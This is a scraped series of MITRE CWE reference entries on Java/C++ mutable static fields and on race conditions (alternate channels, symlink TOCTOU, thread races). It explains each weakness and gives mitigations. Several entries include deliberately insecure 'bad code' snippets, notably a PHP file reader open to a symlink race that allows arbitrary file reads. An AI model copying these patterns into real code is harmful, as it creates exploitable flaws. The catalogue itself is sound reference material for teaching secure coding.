
Edit Custom Filter


+ Description
An object contains a public static field that is not marked final, which might allow it to be modified in unexpected ways.
+ Extended Description
Public static variables can be read without an accessor and changed without a mutator by any classes in the application.
+ Relationships
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.493Critical Public Variable Without Final Modifier
+ Background Details
When a field is declared public but not final, the field can be read and written to by arbitrary Java code.
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
PhaseNote
Implementation
+ Applicable Platforms
Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.

Languages

C++ (Undetermined Prevalence)

Java (Undetermined Prevalence)

+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
ScopeImpactLikelihood
Integrity

Technical Impact: Modify Application Data

The object could potentially be tampered with.
Confidentiality

Technical Impact: Read Application Data

The object could potentially allow the object to be read.
+ Likelihood Of Exploit
High
+ Demonstrative Examples

Example 1

The following examples use of a public static String variable to contain the name of a property/configuration file for the application.

(bad code)
Example Language: C++ 
class SomeAppClass {

public:
static string appPropertiesConfigFile = "app/properties.config";

...
}
(bad code)
Example Language: Java 
public class SomeAppClass {

public static String appPropertiesFile = "app/Application.properties";
...
}

Having a public static variable that is not marked final (constant) may allow the variable to the altered in a way not intended by the application. In this example the String variable can be modified to indicate a different on nonexistent properties file which could cause the application to crash or caused unexpected behavior.

(good code)
Example Language: C++ 
class SomeAppClass {

public:
static const string appPropertiesConfigFile = "app/properties.config";

...
}
(good code)
Example Language: Java 
public class SomeAppClass {

public static final String appPropertiesFile = "app/Application.properties";
...
}
+ Potential Mitigations

Phase: Architecture and Design

Clearly identify the scope for all critical data elements, including whether they should be regarded as static.

Phase: Implementation

Make any static fields private and constant.

A constant field is denoted by the keyword 'const' in C/C++ and ' final' in Java

+ Detection Methods

Automated Static Analysis

Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)

Effectiveness: High

+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.849The CERT Oracle Secure Coding Standard for Java (2011) Chapter 6 - Object Orientation (OBJ)
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1002SFP Secondary Cluster: Unexpected Entry Points
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1139SEI CERT Oracle Secure Coding Standard for Java - Guidelines 05. Object Orientation (OBJ)
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1403Comprehensive Categorization: Exposed Resource
+ Vulnerability Mapping Notes

Usage: ALLOWED

(this CWE ID could be used to map to real-world vulnerabilities)

Reason: Acceptable-Use

Rationale:

This CWE entry is at the Variant level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments:

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.
+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
CLASPOverflow of static internal buffer
The CERT Oracle Secure Coding Standard for Java (2011)OBJ10-JDo not use public static nonfinal variables
Software Fault PatternsSFP28Unexpected access points
+ References
[REF-18] Secure Software, Inc.. "The CLASP Application Security Process". 2005. <https://cwe.mitre.org/documents/sources/TheCLASPApplicationSecurityProcess.pdf>.
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2006-07-19
(CWE Draft 3, 2006-07-19)
CLASP
+ Modifications
Modification DateModifierOrganization
2008-07-01Eric DalciCigital
updated Time_of_Introduction
2008-08-01KDM Analytics
added/updated white box definitions
2008-09-08CWE Content TeamMITRE
updated Applicable_Platforms, Common_Consequences, Relationships, Other_Notes, Taxonomy_Mappings
2008-11-05CWE Content TeamMITRE
Significant clarification of this entry, and improved examples.
2008-11-24CWE Content TeamMITRE
updated Background_Details, Demonstrative_Examples, Description, Name, Other_Notes, Potential_Mitigations
2009-05-27CWE Content TeamMITRE
updated Relationships
2011-06-01CWE Content TeamMITRE
updated Common_Consequences, Relationships, Taxonomy_Mappings
2012-05-11CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2012-10-30CWE Content TeamMITRE
updated Demonstrative_Examples, Description, Potential_Mitigations
2014-07-30CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2017-11-08CWE Content TeamMITRE
updated White_Box_Definitions
2019-01-03CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2020-02-24CWE Content TeamMITRE
updated References, Relationships
2023-04-27CWE Content TeamMITRE
updated Detection_Factors, Relationships
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes
+ Previous Entry Names
Change DatePrevious Entry Name
2008-04-11Overflow of Static Internal Buffer
2008-11-24Static Field Not Marked Final

CWE-607: Public Static Final Field References Mutable Object

Weakness ID: 607
Vulnerability Mapping: ALLOWEDThis CWE ID may be used to map to real-world vulnerabilities
Abstraction: VariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
A public or protected static final field references a mutable object, which allows the object to be changed by malicious code, or accidentally from another package.
+ Relationships
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.471Modification of Assumed-Immutable Data (MAID)
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
PhaseNote
Implementation
+ Applicable Platforms
Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.

Languages

Java (Undetermined Prevalence)

+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
ScopeImpactLikelihood
Integrity

Technical Impact: Modify Application Data

+ Demonstrative Examples

Example 1

Here, an array (which is inherently mutable) is labeled public static final.

(bad code)
Example Language: Java 
public static final String[] USER_ROLES;
+ Potential Mitigations

Phase: Implementation

Protect mutable objects by making them private. Restrict access to the getter and setter as well.
+ Detection Methods

Automated Static Analysis

Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)

Effectiveness: High

+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.963SFP Secondary Cluster: Exposed Data
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1416Comprehensive Categorization: Resource Lifecycle Management
+ Vulnerability Mapping Notes

Usage: ALLOWED

(this CWE ID could be used to map to real-world vulnerabilities)

Reason: Acceptable-Use

Rationale:

This CWE entry is at the Variant level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments:

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.
+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
Software Fault PatternsSFP23Exposed Data
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2007-05-07
(CWE Draft 6, 2007-05-07)
Anonymous Tool Vendor (under NDA)
+ Modifications
Modification DateModifierOrganization
2008-07-01Sean EidemillerCigital
added/updated demonstrative examples
2008-07-01Eric DalciCigital
updated Potential_Mitigations, Time_of_Introduction
2008-09-08CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2011-06-01CWE Content TeamMITRE
updated Common_Consequences, Relationships, Taxonomy_Mappings
2012-05-11CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2012-10-30CWE Content TeamMITRE
updated Potential_Mitigations
2014-07-30CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2017-11-08CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2020-02-24CWE Content TeamMITRE
updated Relationships
2023-04-27CWE Content TeamMITRE
updated Detection_Factors, Relationships
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes

CWE-421: Race Condition During Access to Alternate Channel

Weakness ID: 421
Vulnerability Mapping: ALLOWEDThis CWE ID may be used to map to real-world vulnerabilities
Abstraction: BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
The product opens an alternate channel to communicate with an authorized user, but the channel is accessible to other actors.
+ Extended Description
This creates a race condition that allows an attacker to access the channel before the authorized user does.
+ Relationships
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.362Concurrent Execution using Shared Resource with Improper Synchronization ('Race Condition')
ChildOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.420Unprotected Alternate Channel
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Software Development" (CWE-699)
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.557Concurrency Issues
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
PhaseNote
Architecture and Design
+ Applicable Platforms
Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.

Languages

Class: Not Language-Specific (Undetermined Prevalence)

+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
ScopeImpactLikelihood
Access Control

Technical Impact: Gain Privileges or Assume Identity; Bypass Protection Mechanism

+ Observed Examples
ReferenceDescription
FTP "Pizza Thief" vulnerability. Attacker can connect to a port that was intended for use by another client.
Product creates Windows named pipe during authentication that another attacker can hijack by connecting to it.
+ Affected Resources
  • System Process
+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.956SFP Secondary Cluster: Channel Attack
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1396Comprehensive Categorization: Access Control
+ Vulnerability Mapping Notes

Usage: ALLOWED

(this CWE ID could be used to map to real-world vulnerabilities)

Reason: Acceptable-Use

Rationale:

This CWE entry is at the Base level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments:

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.
+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
PLOVERAlternate Channel Race Condition
+ References
[REF-354] Blake Watts. "Discovering and Exploiting Named Pipe Security Flaws for Fun and Profit". 2002-04. <https://www.blakewatts.com/blog/discovering-and-exploiting-named-pipe-security-flaws-for-fun-and-profit>. URL validated: 2023-04-07.
[REF-44] Michael Howard, David LeBlanc and John Viega. "24 Deadly Sins of Software Security". "Sin 13: Race Conditions." Page 205. McGraw-Hill. 2010.
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2006-07-19
(CWE Draft 3, 2006-07-19)
PLOVER
+ Modifications
Modification DateModifierOrganization
2008-07-01Eric DalciCigital
updated Potential_Mitigations, Time_of_Introduction
2008-09-08CWE Content TeamMITRE
updated Relationships, Observed_Example, Other_Notes, Taxonomy_Mappings, Type
2008-10-14CWE Content TeamMITRE
updated Description
2009-01-12CWE Content TeamMITRE
updated References
2011-06-01CWE Content TeamMITRE
updated Common_Consequences
2012-05-11CWE Content TeamMITRE
updated References, Relationships
2012-10-30CWE Content TeamMITRE
updated Potential_Mitigations
2014-06-23CWE Content TeamMITRE
updated Other_Notes
2014-07-30CWE Content TeamMITRE
updated Relationships
2017-11-08CWE Content TeamMITRE
updated Applicable_Platforms, Relationships
2020-02-24CWE Content TeamMITRE
updated Relationships
2023-04-27CWE Content TeamMITRE
updated References, Relationships
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes
+ Previous Entry Names
Change DatePrevious Entry Name
2008-04-11Alternate Channel Race Condition

CWE-363: Race Condition Enabling Link Following

Weakness ID: 363
Vulnerability Mapping: ALLOWEDThis CWE ID may be used to map to real-world vulnerabilities
Abstraction: BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
The product checks the status of a file or directory before accessing it, which produces a race condition in which the file can be replaced with a link before the access is performed, causing the product to access the wrong file.
+ Extended Description
While developers might expect that there is a very narrow time window between the time of check and time of use, there is still a race condition. An attacker could cause the product to slow down (e.g. with memory consumption), causing the time window to become larger. Alternately, in some situations, the attacker could win the race by performing a large number of attacks.
+ Relationships
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.367Time-of-check Time-of-use (TOCTOU) Race Condition
CanPrecedeBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.59Improper Link Resolution Before File Access ('Link Following')
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
PhaseNote
Architecture and Design
Implementation
+ Applicable Platforms
Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.

Languages

Class: Not Language-Specific (Undetermined Prevalence)

+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
ScopeImpactLikelihood
Confidentiality
Integrity

Technical Impact: Read Files or Directories; Modify Files or Directories

+ Demonstrative Examples

Example 1

This code prints the contents of a file if a user has permission.

(bad code)
Example Language: PHP 
function readFile($filename){
$user = getCurrentUser();

//resolve file if its a symbolic link
if(is_link($filename)){
$filename = readlink($filename);
}

if(fileowner($filename) == $user){
echo file_get_contents($realFile);
return;
}
else{
echo 'Access denied';
return false;
}
}

This code attempts to resolve symbolic links before checking the file and printing its contents. However, an attacker may be able to change the file from a real file to a symbolic link between the calls to is_link() and file_get_contents(), allowing the reading of arbitrary files. Note that this code fails to log the attempted access (CWE-778).

+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.748CERT C Secure Coding Standard (2008) Appendix - POSIX (POS)
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.988SFP Secondary Cluster: Race Condition Window
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1171SEI CERT C Coding Standard - Guidelines 50. POSIX (POS)
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1401Comprehensive Categorization: Concurrency
+ Vulnerability Mapping Notes

Usage: ALLOWED

(this CWE ID could be used to map to real-world vulnerabilities)

Reason: Acceptable-Use

Rationale:

This CWE entry is at the Base level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments:

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.
+ Notes

Relationship

This is already covered by the "Link Following" weakness (CWE-59). It is included here because so many people associate race conditions with link problems; however, not all link following issues involve race conditions.
+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
PLOVERRace condition enabling link following
CERT C Secure CodingPOS35-CExactAvoid race conditions while checking for the existence of a symbolic link
Software Fault PatternsSFP20Race Condition Window
+ References
[REF-62] Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". Chapter 9, "Race Conditions", Page 526. 1st Edition. Addison Wesley. 2006.
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2006-07-19
(CWE Draft 3, 2006-07-19)
PLOVER
+ Modifications
Modification DateModifierOrganization
2008-07-01Eric DalciCigital
updated Time_of_Introduction
2008-09-08CWE Content TeamMITRE
updated Relationships, Other_Notes, Taxonomy_Mappings
2008-10-14CWE Content TeamMITRE
updated Description, Other_Notes, Relationships
2008-11-24CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2010-12-13CWE Content TeamMITRE
updated Other_Notes, Relationship_Notes
2011-03-29CWE Content TeamMITRE
updated Demonstrative_Examples
2011-06-01CWE Content TeamMITRE
updated Common_Consequences
2012-05-11CWE Content TeamMITRE
updated Demonstrative_Examples, References, Relationships
2014-07-30CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2017-11-08CWE Content TeamMITRE
updated Applicable_Platforms, Taxonomy_Mappings
2019-01-03CWE Content TeamMITRE
updated Relationships
2020-02-24CWE Content TeamMITRE
updated Relationships
2023-01-31CWE Content TeamMITRE
updated Description
2023-04-27CWE Content TeamMITRE
updated Relationships
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes

CWE-366: Race Condition within a Thread

Weakness ID: 366
Vulnerability Mapping: ALLOWEDThis CWE ID may be used to map to real-world vulnerabilities
Abstraction: BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
If two threads of execution use a resource simultaneously, there exists the possibility that resources may be used while invalid, in turn making the state of execution undefined.
+ Relationships
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.362Concurrent Execution using Shared Resource with Improper Synchronization ('Race Condition')
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Software Development" (CWE-699)
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.557Concurrency Issues
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "CISQ Quality Measures (2020)" (CWE-1305)
NatureTypeIDName
ChildOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.662Improper Synchronization
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "CISQ Data Protection Measures" (CWE-1340)
NatureTypeIDName
ChildOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.662Improper Synchronization
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
PhaseNote
Implementation
+ Applicable Platforms
Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.

Languages

C (Undetermined Prevalence)

C++ (Undetermined Prevalence)

Java (Undetermined Prevalence)

C# (Undetermined Prevalence)

+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
ScopeImpactLikelihood
Integrity
Other

Technical Impact: Alter Execution Logic; Unexpected State

The main problem is that -- if a lock is overcome -- data could be altered in a bad state.
+ Likelihood Of Exploit
Medium
+ Demonstrative Examples

Example 1

The following example demonstrates the weakness.

(bad code)
Example Language:
int foo = 0;
int storenum(int num) {
static int counter = 0;
counter++;
if (num > foo) foo = num;
return foo;
}
(bad code)
Example Language: Java 
public classRace {
static int foo = 0;
public static void main() {

new Threader().start();
foo = 1;
}
public static class Threader extends Thread {

public void run() {
System.out.println(foo);
}
}
}
+ Observed Examples
ReferenceDescription
Chain: two threads in a web browser use the same resource (CWE-366), but one of those threads can destroy the resource before the other has completed (CWE-416).
+ Potential Mitigations

Phase: Architecture and Design

Use locking functionality. This is the recommended solution. Implement some form of locking mechanism around code which alters or reads persistent data in a multithreaded environment.

Phase: Architecture and Design

Create resource-locking validation checks. If no inherent locking mechanisms exist, use flags and signals to enforce your own blocking scheme when resources are being used by other threads of execution.
+ Detection Methods

Automated Static Analysis

Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)

Effectiveness: High

+ Affected Resources
  • System Process
+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.748CERT C Secure Coding Standard (2008) Appendix - POSIX (POS)
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.852The CERT Oracle Secure Coding Standard for Java (2011) Chapter 9 - Visibility and Atomicity (VNA)
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.882CERT C++ Secure Coding Section 14 - Concurrency (CON)
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.986SFP Secondary Cluster: Missing Lock
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1142SEI CERT Oracle Secure Coding Standard for Java - Guidelines 08. Visibility and Atomicity (VNA)
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1169SEI CERT C Coding Standard - Guidelines 14. Concurrency (CON)
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1401Comprehensive Categorization: Concurrency
+ Vulnerability Mapping Notes

Usage: ALLOWED

(this CWE ID could be used to map to real-world vulnerabilities)

Reason: Acceptable-Use

Rationale:

This CWE entry is at the Base level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments:

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.
+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
CLASPRace condition within a thread
CERT C Secure CodingCON32-CCWE More AbstractPrevent data races when accessing bit-fields from multiple threads
